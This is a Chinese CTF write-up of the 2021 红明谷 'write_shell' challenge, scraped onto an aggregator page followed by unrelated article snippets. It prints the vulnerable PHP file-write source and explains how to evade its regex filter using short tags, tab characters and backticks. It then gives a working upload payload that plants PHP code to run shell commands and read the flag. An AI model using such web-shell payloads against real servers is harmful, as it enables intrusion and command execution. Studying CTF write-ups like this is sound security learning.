[红明谷CTF 2021]write_shell 1

目录

  • 代码审计
    • check()
    • $_GET["action"] ?? ""
  • 解题

代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){// if(preg_match("/'| |_|=|php/",$input)){die('hacker!!!');}else{return $input;}
}function waf($input){if(is_array($input)){foreach($input as $key=>$output){$input[$key] = waf($output);}}else{$input = check($input);}
}$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){mkdir($dir);
}
switch($_GET["action"] ?? "") {case 'pwd':echo $dir;break;case 'upload':$data = $_GET["data"] ?? "";waf($data);file_put_contents("$dir" . "index.php", $data);
}
?>

传入了两个参数
action=pwd时,显示路径
action=upload时,写入内容

check()

通过正则过滤

preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)

字符串中包含 '、空格、php、;、~、^、+、eval、{ 或 } 中的任何一个,都会被过滤,且不区分大小写
对php的过滤可使用短标签:<?=(代码)?>
对空格的过滤,可使用 “/t” 或 "%09"代替
没有过滤反引号,我们可以在反引号中执行shell命令

$_GET[“action”] ?? “”

$_GET[“action”] ?? “”:这是 PHP 7 中的新特性,称为 Null 合并运算符 (??)。它的作用是判断 $_GET[“action”] 是否设置且不为 null,如果是,则返回值;如果未设置或者为 null,则返回空字符串 “”

解题

先查看路径

payload:?action=pwd

在这里插入图片描述
查看目录

payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

再访问刚才得到的路径
在这里插入图片描述
访问:flllllll1112222222lag

payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/49153.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何恢复手机删除的照片?教你3招快速解决,不再错过美好回忆

在这个数字化的时代&#xff0c;我们的生活点滴往往通过照片来记录和珍藏。但是&#xff0c;有时候因为误操作或手机空间不足&#xff0c;我们心爱的照片可能会不翼而飞。别担心&#xff0c;即使照片从安卓手机中消失&#xff0c;也有办法将它们重新唤回。如何恢复手机删除的照…

喜报!钛铂数据 TapDB 通过中国信通院文档数据库产品测试

在中国信通院组织的2024上半年“可信数据库”—文档数据库基础能力测试中&#xff0c;深圳钛铂数据有限公司&#xff08;以下简称“钛铂数据”&#xff09;旗下的钛铂分布式文档数据库&#xff08;TapDB&#xff09;顺利通过了所有测试项目&#xff0c;测试结果表明&#xff0c…

B4005 [GESP202406 四级] 黑白方块 【暴力枚举】【前缀和】

#include<bits/stdc.h> using namespace std; int n,m,ans,tmp; char mp[20][20]; int cheak(int a,int b,int c,int d){//a<c b<dint cnt0;//枚举矩阵中的每个点 for(int ia;i<c;i)for(int jb;j<d;j)if(mp[i][j]1) cnt;//统计黑格的个数 return 2*cnt(c-a1…

数据库窗口函数实战

目录 前言 窗口函数语法 创建测试表和数据 使用示例 PARTITION BY 窗口函数 ROW_NUMBER RANK DENSE_RANK RANGE ROWS 前言 SQL 具有很高的灵活性&#xff0c;可以根据需求进行复杂的数据查询和分析&#xff0c;支持多表联合查询&#xff08;join&#xff09;、排序…

【b站-湖科大教书匠】5 运输层 - 计算机网络微课堂

课程地址&#xff1a;【计算机网络微课堂&#xff08;有字幕无背景音乐版&#xff09;】 https://www.bilibili.com/video/BV1c4411d7jb/?share_sourcecopy_web&vd_sourceb1cb921b73fe3808550eaf2224d1c155 目录 5 运输层 5.1 运输层概述 5.2 运输层端口号、复用与分用…

【力扣】:比特位计数

1.去掉二进制中最左边的1&#xff0c;n&&#xff08;n-1&#xff09;&#xff0c;如果一次操作以后&#xff0c;就是0&#xff0c;那么这个数是2的倍数。进行几次操作&#xff0c;&#xff0c;变为0&#xff0c;那么就有几个1. 2.拿到最左边的1&#xff0c;n&-n 3.将…

idea中如何创建yml、yaml、properties配置文件

目录 1、配置文件 2、创建yml配置文件 3、配置文件的优先级 1、配置文件 我们一直使用springboot项目创建完毕后自带的application.properties进行属性的配置&#xff0c;那其实呢&#xff0c;在springboot项目当中是支持多种配置方式的&#xff0c;除了支持properties配置文件…

threejs零基础搭建3D可视化汽车展厅

前置知识(最下面有完整代码) 每个代码都有注释,零基础也能看懂 中文官方文档教程 创建项目 创建空文件夹 执行如下命令初始化package.json文件 npm init -y安装threejs包 yarn add three安装tween.js动画库,用于做动画 tweenjs文档 yarn add @tweenjs/tween.js安装gui调…

[数据集][目标检测]野猪检测数据集VOC+YOLO格式1000张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;1000 标注数量(xml文件个数)&#xff1a;1000 标注数量(txt文件个数)&#xff1a;1000 标注…

Zookeeper入门篇,了解ZK存储特点

Zookeeper入门篇&#xff0c;了解ZK存储特点 前言一、为什么要用 Zookeeper&#xff1f;二、Zookeeper存储特色1. 树状结构2. 节点类型 三、存储位置1. 内存存储1. DataTree2. DataNode 2. 硬盘存储1. 事务日志2. 快照 前言 继上次说完 Zookeeper 的安装后&#xff0c;已经过去…

Stirling-PDF

Stirling-PDF 一、Stirling-PDF github: https://github.com/Stirling-Tools/Stirling-PDFAPI : https://app.swaggerhub.com/apis-docs/Stirling-Tools/Stirling-PDF/ 1、什么是 Stirling-PDF Stirling-PDF 是一个强大的、本地托管的基于Web的PDF操作工具&#xff0c;使用D…

OpenCV图像滤波(2)均值平滑处理函数blur()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 在OpenCV中&#xff0c;blur()函数用于对图像应用简单的均值模糊&#xff08;mean blur&#xff09;。这种模糊效果可以通过将图像中的每个像素替…

C++知识点:类和对象(自用)

类和对象 1. 类和对象的关系2. 对象指针3. 在堆上创建对象4. 成员访问限定符5. 名字编码&#xff08;Name Mangling&#xff09;6.构造函数7.构造函数的重载8.初始化列表8. 成员变量初始化的顺序&#xff08;通过初始化列表&#xff09;9. 初始化 const 成员变量10. 析构函数11…

v-has 全局按钮权限设置(Vue2)

需求&#xff1a;一些操作按钮默认打开是隐藏的&#xff0c;发送后台请求返回当前登录人的人员类别&#xff0c;前端控制操作按钮权限&#xff0c;动态显示或者隐藏 操作按钮。 首先想到v-has自定义指令&#xff0c;因为当前只是一部分的权限控制&#xff0c;所以就没有放到全…

AutoSAR自适应平台架构总览--AP的初认识

AutoSAR自适应平台架构总览:AP 基础设施层&#xff08;Foundation Layer&#xff09;核心操作系统&#xff08;Core OS&#xff09;通信管理&#xff08;Communication Management&#xff09; 服务层&#xff08;Services Layer&#xff09;诊断服务&#xff08;Diagnostics S…

rust 生命周期(八)

生命周期定律和原则 1.借用检查器: Rust 编译器使用借用检查器来验证所有引用在其使用的整个过程中都是有效的。借用检查器通过生命周期来跟踪引用。 2.显式生命周期注解: 当涉及多个引用时&#xff0c;可能需要显式地指定生命周期&#xff0c;以帮助编译器理解引用之间的关…

MySQL窗口函数详解

MySQL窗口函数详解 MySQL从8.0版本开始引入了窗口函数&#xff0c;这是一个强大的特性&#xff0c;可以大大简化复杂的数据分析任务。本文将详细介绍MySQL窗口函数的概念、语法和常见用法&#xff0c;并结合实际应用场景进行说明。 什么是窗口函数? 窗口函数是一种能够对结…

day03 swagger

导入swagger3的步骤&#xff1a; pom.xml&#xff08;只需要子模块配置&#xff09;配置&#xff1a; <!--springdoc 集成了 swagger3--><dependency><groupId>org.springdoc</groupId><artifactId>springdoc-openapi-starter-webmvc-ui</a…

谷粒商城实战笔记-高效工作经验积累

当然&#xff0c;我会提供一个更具体的例子来说明这两个原则的重要性及其背后的惨痛经历。 1. 先理解需求&#xff0c;后写代码 惨痛经历 几年前&#xff0c;我所在的团队负责为开发一个在线预订系统。 项目启动之初&#xff0c;我们急于展示成果&#xff0c;没有充分理解客…

UE5+OpenCV配置(Windows11系统)

一、概述 因为需要在UE5中使用OpenCV这些工具进行配置&#xff0c;所以在网络上参考借鉴一些资料进行配置。查询到不少的资料&#xff0c;最后将其配置成功。在这里顺便记录一下自己的配置成功的过程。 二、具体过程 &#xff08;一&#xff09;版本 使用Windows11系统、UE5.…